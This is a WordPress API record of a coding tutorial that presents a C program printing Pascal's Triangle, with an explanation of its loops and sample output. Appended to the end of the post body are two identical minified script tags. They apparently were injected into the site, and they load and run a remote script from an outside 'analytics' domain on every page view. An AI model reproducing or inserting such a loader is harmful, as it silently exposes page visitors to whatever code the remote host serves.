{"id":804,"date":"2024-10-10T22:05:38","date_gmt":"2024-10-10T16:35:38","guid":{"rendered":"https:\/\/codexplained.in\/?p=804"},"modified":"2025-11-24T15:55:09","modified_gmt":"2025-11-24T10:25:09","slug":"pascals-triangle","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=804","title":{"rendered":"Pascal\u2019s Triangle"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int rows, coef = 1, i, j;\n\n    \/\/ Asking the user to input the number of rows\n    printf(&quot;Enter the number of rows for Pascal&#039;s Triangle: &quot;);\n    scanf(&quot;%d&quot;, &amp;rows);\n\n    \/\/ Outer loop to handle the number of rows\n    for (i = 0; i &lt; rows; i++) {\n        \/\/ Print spaces for formatting the triangle\n        for (j = 0; j &lt;= rows - i; j++) {\n            printf(&quot;  &quot;);\n        }\n        \n        \/\/ Inner loop to print each number in the row\n        for (j = 0; j &lt;= i; j++) {\n            \/\/ Compute the binomial coefficient\n            if (j == 0 || i == j)\n                coef = 1; \/\/ The first and last elements in each row are always 1\n            else\n                coef = coef * (i - j + 1) \/ j; \/\/ Formula for calculating binomial coefficient\n            \n            printf(&quot;%4d&quot;, coef); \/\/ Print the current number with formatting\n        }\n        printf(&quot;\\n&quot;); \/\/ Move to the next row after each row is printed\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation:<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Variables:<\/strong>\n<ul class=\"wp-block-list\">\n<li><code>rows<\/code>: Holds the number of rows for Pascal\u2019s Triangle.<\/li>\n\n\n\n<li><code>coef<\/code>: Stores the binomial coefficient (starts at 1).<\/li>\n\n\n\n<li><code>i<\/code> and <code>j<\/code>: Loop variables for controlling rows and elements.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>User Input:<\/strong>\n<ul class=\"wp-block-list\">\n<li>The user is prompted to enter the number of rows, which is stored in <code>rows<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Outer Loop (Rows):<\/strong>\n<ul class=\"wp-block-list\">\n<li>Iterates over each row, printing the corresponding numbers.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Inner Loop (Calculating Binomial Coefficients):<\/strong>\n<ul class=\"wp-block-list\">\n<li>For the first and last elements in each row, <code>coef<\/code> is set to 1.<\/li>\n\n\n\n<li>For other elements, <code>coef<\/code> is calculated using the binomial coefficient formula.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Printing:<\/strong>\n<ul class=\"wp-block-list\">\n<li>The program prints numbers in a triangular format, using spaces for alignment.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Output:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Pascal\u2019s Triangle is printed, with each row containing the binomial coefficients.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Output:<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Enter the number of rows for Pascal's Triangle: 5\n 1\n 1 1\n 1 2 1\n 1 3 3 1\n 1 4 6 4 1<\/code><\/pre>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Output:<\/p>\n","protected":false},"author":38,"featured_media":805,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-804","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/804","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=804"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/804\/revisions"}],"predecessor-version":[{"id":1456,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/804\/revisions\/1456"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/805"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=804"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=804"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=804"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}